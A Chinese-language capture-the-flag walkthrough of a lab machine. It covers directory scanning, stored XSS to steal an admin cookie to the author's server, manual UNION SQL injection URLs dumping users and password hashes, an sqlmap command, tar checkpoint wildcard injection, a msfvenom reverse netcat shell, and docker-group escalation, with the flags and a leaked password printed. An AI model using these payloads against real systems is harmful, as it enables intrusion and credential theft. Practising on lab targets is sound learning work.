端口扫描

Web

gobuster dir -u http://10.10.128.25/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50

简单扫下目录

进主页翻了一下有一个登录和注册页面

/robots.txt进去一看告诉我们有一个/admin页面,但是进去提示未授权无法进入

尝试’ ,发现登录界面也没有注入点。那就想试着先注册一个账号登录

发现可以向管理员发送报告然后管理员会审查,像这种留言形式东西就试着看看有无XSS

在list界面提交一个XSS测试语句,提交后发现弹框,说明存在漏洞

按下F12,在网络界面我们可以看到当前账户有一个cookie,也就是说如果获取到管理员的cookie我们就能伪造管理员身份,而XSS漏洞正好能做这种事

https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py

下载窃取cookie的Python脚本,原理是在本地开启一个服务器,然后管理员处理我们发送的message后会发送他的cookie到我们的服务器,脚本是Python2写的,所以要用Python2运行

python2 XSS-cookie-stealer.py

其实好像直接用python -m http.server 来开服务器就行了。。。

再新建一个newlist,JS语句为窃取cookie发送至本地服务器,ip改成自己VPNIP

然后提交

获得的是我们自己的cookie,我们还要向管理员报告,获取的才是管理员的cookie

在storage中把token改成管理员cookie,刷新界面,成功变成管理员!

得到第一个flag

THM{c37a63895910e478f28669b048c348d5}

我们可以看到有4个用户,其中一个是我们注册的,还有两个是管理员

随便点进一个用户,我们发现URL中出现了传参,第一个用户是1,第二个是2

发现报错,存在SQL注入,发现用SQLmap跑不出来

Getshell

只能手注了

先order by 看列数,发现有4列

http://10.10.128.25/admin?user=123%20union%20select%20database(),2,3,4%20--%20-

数据库名称为marketplace

http://10.10.128.25/admin?user=123%20union%20select%20group_concat(table_name),2,3,4%20FROM%20information_schema.tables%20WHERE%20table_schema%20=%27marketplace%27%20--%20-

查看这个库中的表名

http://10.10.128.25/admin?user=123%20union%20select%20group_concat(column_name),2,3,4%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20and%20table_name%20=%27users%27%20--%20-

查列名

http://10.10.128.25/admin?user=123%20union%20select%20group_concat(username,0x3a,password),2,3,4%20from%20users%20--%20-

展示用户名和密码,并用“:”隔开(0x3a的ASCII码对应的就是“:”)

得到jake的密码hash,因为之前看到就他是管理员

$2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG

本来以为直接破解就完事了

结果发现破解不出来

http://10.10.128.25/admin?user=123%20union%20select%20group_concat(id,0x3a,is_read,0x3a,message_content,0x3a,user_from,0x3a,user_to%20),2,3,4%20from%20messages

WP是在messages这个表直接发现了密码

@b_ENXkGYUCAv3zJ

看了一些别的WP,有用SQLmap跑出来的

sqlmap -u http://[IP]/admin?user=3 --cookie='token=[Enter Cookie]' --technique=U --delay=2 -dump

貌似要加入token和延时

ssh连接jake用户

user.txt

THM{c3648ee7af1369676e3e4b15da6dc0b4}

提权

sudo -l 发现能够以michael的身份运行这个脚本,那我们能够这个脚本来切换到michael身份

又是熟悉的”tar”命令,而且正好是”cf”的参数

利用,检查点的方式来执行想要的命令,首先我们先创建一个想执行的脚本shell.sh

chmod +x shell.sh

在/opt/backups目录

touch ./--checkpoint=1

touch './--checkpoint-action=exec=sh shell.sh'

在kali中开启监听

sudo -u michael /opt/backups/backup.sh

然而不知道为什么总是报错,但是我以jake的身份直接运行shell.sh又能执行,实在是找不到解决方法

无奈之下我只好按照WP的方法用msf生成一个nc的shell

msfvenom -p cmd/unix/reverse_netcat lhost=10.11.38.245 lport=1234 R

将shell.sh的内容改成

再次执行

总算是连上了

python -c “import pty;pty.spawn(‘/bin/bash’)”

不会提权。。。看WP

id 发现我们是docker组

提权成功

root.txt

THM{d4f76179c80c0dcf46e0f8e43c9abd62}

碎碎念

还有点难度的靶机,第一次实战练习XSS注入窃取cookie,SQL注入也不是SQLmap直接跑的那种,练一下手注也挺不错。然后再次碰到了tar这个命令来提权,还有运用docker组的权限来提权,收货挺大的!